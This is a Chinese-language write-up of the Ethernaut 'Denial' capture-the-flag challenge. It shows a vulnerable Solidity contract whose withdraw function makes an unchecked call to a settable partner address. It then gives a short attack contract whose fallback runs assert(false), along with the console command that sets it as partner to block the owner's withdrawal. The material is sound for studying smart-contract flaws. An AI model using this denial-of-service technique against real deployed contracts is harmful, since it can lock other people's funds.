Denial
题目源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Denial {
using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
题目要求
提交实例的时候会执行owner
的提现操作,并且会给大约 100W 的 gas。题目要求阻止owner
的提现操作
题目分析
想要阻止提交实例的时候owner
进行提现,则需要从partner.call{value:amountToSend}("");
入手。由于partner
是随意设置进去的值,那么我们可以将partner
设置成一个合约地址。并且在调用call
方法的时候中断操作。
由于提交实例时,题目给的 gas 足够大,并且partner.call{value:amountToSend}("");
并没有对成功与否的返回值做校验。所以这里通过partner.call{value:amountToSend}("");
有两种实现方案
- 调用时消耗完所有的 gas
- 调用时抛出
Panic
错误,即通过assert
异常判断
攻击步骤
- 编写攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract DenialAttack {
fallback() external payable {
assert(false);
}
}
部署后得到合约地址: 0x6411c15054913aC80B53cA0131F9bCBB822Fb2F0
- 设置
partner
地址为攻击合约地址
await contract.setWithdrawPartner("0x6411c15054913aC80B53cA0131F9bCBB822Fb2F0")